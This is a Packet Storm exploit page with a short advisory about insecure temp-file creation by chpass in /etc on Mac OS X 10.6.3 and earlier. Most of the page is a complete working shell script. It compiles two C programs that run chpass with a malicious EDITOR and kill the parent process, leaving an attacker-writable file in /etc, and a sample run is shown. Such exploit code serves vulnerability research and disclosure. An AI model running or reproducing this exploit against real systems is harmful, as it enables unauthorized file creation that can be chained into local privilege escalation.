what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Apple 10.6.3 chpass BSD Insecure Temp File Creating In /etc

Apple 10.6.3 chpass BSD Insecure Temp File Creating In /etc
Posted May 19, 2010
Authored by prdelka | Site prdelka.blackart.org.uk

Apple Mac OS X versions 10.6.3 and below suffer from a chpass BSD insecure temp file creation in /etc vulnerability. A user can create a file with rw perms in /etc as owner and populate it with arbitrary data. This could be utilized to fill the disk or write configuration file information that could be combined with another flaw to elevate local privileges.

tags | exploit, arbitrary, local
systems | bsd, apple, osx
SHA-256 | 7612d1322811886943d0e1ba838ed0c5d2209c568bc240a49eeb336f0af2080c

Apple 10.6.3 chpass BSD Insecure Temp File Creating In /etc

Change Mirror Download
#!/bin/sh
# Apple <= 10.6.3 'chpass' BSD insecure temp file creation in /etc vuln
# =====================================================================
# A user can create a file with rw perms in /etc as owner and populate
# it with arbitrary data. This could be utilized to fill the disk or
# write configuration file information that could be combined with
# another flaw to elevate local privileges. This shell script takes
# an arguement which is the filename to create (appended with .XXXXXX)
# or I.HAX by default.
#
# e.g
#
# fantastics-macbook:~ fantastic$ id
# uid=501(fantastic) gid=20(staff) groups=20(staff)
# fantastics-macbook:~ fantastic$ ls -l /etc
# lrwxr-xr-x@ 1 root wheel 11 10 Feb 18:42 /etc -> private/etc
# fantastics-macbook:~ fantastic$ ./prdelka-vs-APPLE-chpass.sh
# [ Apple <= 10.6.3 'chpass' arbitrary /etc file creation exploit
# Password for fantastic: fuck.apple
# [ Created evil file /etc/I.HAX.9GrrKm
# [ Killing my parent PID 1472
# ./prdelka-vs-APPLE-chpass.sh: line 47: 1472 Killed ./exploit I.HAX
# fantastics-macbook:~ fantastic$ ls -al /etc/I.HAX.9GrrKm
# -rw------- 1 fantastic staff 203 17 May 21:15 /etc/I.HAX.9GrrKm
# fantastics-macbook:~ fantastic$ echo "Turtle power" > /etc/I.HAX.9GrrKm
# fantastics-macbook:~ fantastic$ cat /etc/I.HAX.9GrrKm
# Turtle power
#
# -- prdelka
cat >> evil.c << EOF
#include <sys/types.h>
#include <unistd.h>
#include <signal.h>

int main(int argc,char* argv[]){
printf("[ Created evil file %s\n",argv[1]);
pid_t parent = getppid();
printf("[ Killing my parent PID %d\n",parent);
usleep(1000);
kill(parent,9);
exit(0);
}
EOF
gcc evil.c -o evil 2>/dev/null
rm -rf evil.c
cat >> exploit.c << EOF
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc,char* argv[]){
char* envp[]={"EDITOR=./evil",NULL};
char* args[]={argv[1],NULL};
printf("[ Apple <= 10.6.3 'chpass' arbitrary /etc file creation exploit\n");
execve("/usr/bin/chpass",args,envp);
}
EOF
gcc exploit.c -o exploit 2>/dev/null
rm -rf exploit.c
if [ $1 ]
then
./exploit $1
else
./exploit I.HAX
fi
rm -rf evil exploit

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close